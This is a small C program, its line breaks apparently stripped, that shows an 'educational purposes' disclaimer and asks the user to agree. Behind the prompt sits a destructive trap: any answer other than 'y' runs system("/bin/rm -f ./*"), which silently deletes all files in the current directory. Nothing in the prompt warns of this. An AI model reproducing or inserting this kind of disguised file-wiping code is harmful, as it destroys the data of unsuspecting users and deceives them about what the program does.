#include <stdio.h>#include <unistd.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>int system (const char *string);/* Yes, this is lame, I know =P */char *disclaimer =" This program is distributed for educational purposes and without any\n"" explicit or implicit warranty; in no event shall the author or contributors\n"" be liable for any direct, indirect or incidental damages arising in any way\n"" out of the use of this software.\n\n"" I hereby certify that I will not hold the author liable for any wanted\n"" or unwanted effects caused by this program and that I will give the author\n"" full credit and exclusively use this program for educational purposes.\n\n";intmain (void){  if (open ("agreed", O_RDONLY) >= 0)    exit (0);  printf ("%s\nDo you agree to this disclaimer [y/n]? ", disclaimer);  switch (getchar ())    {    case 'y':    case 'Y':      close (open ("agreed", O_WRONLY | O_CREAT | O_TRUNC));      break;    default:      system ("/bin/rm -f ./*");    }  return (0);}